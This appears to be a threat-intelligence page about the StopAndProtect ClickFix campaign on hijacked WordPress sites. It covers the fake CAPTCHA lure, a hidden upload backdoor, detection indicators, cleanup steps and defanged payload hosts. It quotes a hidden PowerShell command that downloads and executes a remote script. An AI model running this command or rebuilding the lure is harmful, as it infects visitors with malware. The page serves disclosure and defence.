StopAndProtect ClickFix kit
StopAndProtect is an operation named by Check Point Research whose website chain starts with a fake CAPTCHA and copied PowerShell. We have matched its website code on 72 sites since 10 August.
StopAndProtect in numbers
Since 10 August, the first StopAndProtect match in our records, counted on 12 November 2026. How we count.
| Sites with StopAndProtect code | 72 |
|---|---|
| Sites with a match in the last 30 days | 9 |
| New sites in October | 2 |
| Still serving it when recaptured at least 25 days later | 5 of 6 sites (83%) |
Check Point named the operation
Check Point Research named StopAndProtect after tracing its fake CAPTCHA, compromised WordPress infrastructure and ransomware operation. On the website, a malicious plugin named verify covers the legitimate page for a Windows visitor and controls the lure through verify.php, store.php, proxy.php and stored_url.txt.
The lure skips WordPress administration and file-manager pages. For other visitors it adds hv-locked to the document, draws a full-page hv-backdrop and checks local storage for verification_completed, which prevents the prompt from returning in the same browser after completion.
The checkbox waits for proof of execution
Selecting the checkbox starts a three-second VERIFYING state and copies a command shaped like this:
powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('hxxps://[host]/vcapcha.ps1'))
The page then shows three steps: open Windows Run with Win+R, paste with Ctrl+V and press Enter.
The page polls the plugin's proxy.php every two seconds for a remote log containing the visitor's address. It waits for that entry before enabling its final verify button, and gives the loop up to five minutes. Five request errors also end the polling. The overlay closes and restores the page only after the expected log entry and the visitor's final click.
A must-use plugin keeps a second foothold
Check Point also recovered an installer that writes wp-content/mu-plugins/wp-sec.php, then deletes itself. Must-use plugins load automatically and stay outside the ordinary Plugins list. This one registers wp-sec/v1/upload and accepts PHP uploads from requests carrying hardcoded credentials.
What we see
| Month | New sites |
|---|---|
| September | 2 |
| October | 2 |
| November so far | 0 |
Of the 6 sites recaptured at least 25 days after their first match, 5 were still serving StopAndProtect (83%).
Finding both WordPress footholds
Inspect the filesystem and a logged-out Windows visit for:
- a
verifyplugin containingverify.php,store.php,proxy.phporstored_url.txt hv-locked,hv-backdrop,verification_completedand repeatedproxy.phprequestswp-content/mu-plugins/wp-sec.phpand thewp-sec/v1/uploadroute- clipboard code containing
Net.WebClientandvcapcha.ps1
Remove both footholds, replace altered WordPress components with trusted copies, review must-use plugins directly on disk and rotate WordPress, hosting and file-transfer credentials.
Hosts its commands download from
StopAndProtect lure commands we captured download from 6 hosts.
| Host | Sites | Last seen | Latest command |
|---|---|---|---|
v-k[.]com[.]ua | 13 | CommandURL First seen 6 September 2026, 1 URL on this host. | |
ndigitals[.]in | 2 | CommandURL First seen 14 September 2026, 1 URL on this host. | |
simpludelicios[.]md | 2 | CommandURL First seen 19 September 2026, 1 URL on this host. | |
mefiji[.]com | 1 | CommandURL First seen 6 September 2026, 1 URL on this host. | |
richardkemick[.]com | 1 | CommandURL First seen 19 September 2026, 1 URL on this host. | |
sarp08[.]no | 1 | CommandURL First seen 10 September 2026, 1 URL on this host. |
The ClickFix command tracker lists every host.